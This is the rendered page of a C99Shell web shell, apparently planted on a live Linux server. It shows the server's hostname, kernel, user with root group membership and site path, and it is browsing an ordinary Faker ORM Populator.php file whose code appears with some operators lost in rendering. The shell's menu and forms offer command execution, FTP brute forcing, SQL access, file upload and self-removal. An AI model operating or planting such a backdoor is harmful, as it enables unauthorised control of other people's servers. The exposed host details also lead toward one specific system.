!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/fakerphp/faker/src/Faker/ORM/Propel/   drwxr-xr-x
Free 28.62 GB of 117.98 GB (24.26%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Populator.php (2.7 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Faker\ORM\Propel;

/**
 * Service class for populating a database using the Propel ORM.
 * A Populator can populate several tables using ActiveRecord classes.
 */
class Populator
{
    protected 
$generator;
    protected 
$entities = [];
    protected 
$quantities = [];

    public function 
__construct(\Faker\Generator $generator)
    {
        
$this->generator $generator;
    }

    
/**
     * Add an order for the generation of $number records for $entity.
     *
     * @param mixed $entity A Propel ActiveRecord classname, or a \Faker\ORM\Propel\EntityPopulator instance
     * @param int   $number The number of entities to populate
     */
    
public function addEntity($entity$number$customColumnFormatters = [], $customModifiers = [])
    {
        if (!
$entity instanceof \Faker\ORM\Propel\EntityPopulator) {
            
$entity = new \Faker\ORM\Propel\EntityPopulator($entity);
        }
        
$entity->setColumnFormatters($entity->guessColumnFormatters($this->generator));

        if (
$customColumnFormatters) {
            
$entity->mergeColumnFormattersWith($customColumnFormatters);
        }
        
$entity->setModifiers($entity->guessModifiers($this->generator));

        if (
$customModifiers) {
            
$entity->mergeModifiersWith($customModifiers);
        }
        
$class $entity->getClass();
        
$this->entities[$class] = $entity;
        
$this->quantities[$class] = $number;
    }

    
/**
     * Populate the database using all the Entity classes previously added.
     *
     * @param PropelPDO $con A Propel connection object
     *
     * @return array A list of the inserted PKs
     */
    
public function execute($con null)
    {
        if (
null === $con) {
            
$con $this->getConnection();
        }
        
$isInstancePoolingEnabled \Propel::isInstancePoolingEnabled();
        
\Propel::disableInstancePooling();
        
$insertedEntities = [];
        
$con->beginTransaction();

        foreach (
$this->quantities as $class => $number) {
            for (
$i 0$i $number; ++$i) {
                
$insertedEntities[$class][] = $this->entities[$class]->execute($con$insertedEntities);
            }
        }
        
$con->commit();

        if (
$isInstancePoolingEnabled) {
            
\Propel::enableInstancePooling();
        }

        return 
$insertedEntities;
    }

    protected function 
getConnection()
    {
        
// use the first connection available
        
$class key($this->entities);

        if (!
$class) {
            throw new 
\RuntimeException('No class found from entities. Did you add entities to the Populator ?');
        }

        
$peer $class::PEER;

        return 
\Propel::getConnection($peer::DATABASE_NAME\Propel::CONNECTION_WRITE);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0044 ]--